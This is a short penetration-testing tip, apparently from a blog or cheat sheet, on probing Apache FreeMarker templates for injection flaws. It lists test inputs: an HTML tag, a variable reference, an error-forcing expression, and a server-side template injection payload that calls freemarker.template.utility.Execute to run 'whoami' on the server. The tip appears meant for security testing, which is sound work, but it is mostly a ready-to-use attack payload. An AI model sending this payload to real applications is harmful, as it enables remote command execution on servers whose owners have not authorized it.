Apache Freemark­er is a tem­plate engine, some­times used with Java application. Old­er Freemark­er engines did not pre­vent HTML in strings. There­fore, try in a field some­thing like this: Ha<b>llo</b> Show the val­ue of a variable: ${var} Exe­cu­tion to force an error message: ${'a'*5} RCE: ${"freemarker.template.utility.Execute"?new()("whoami")}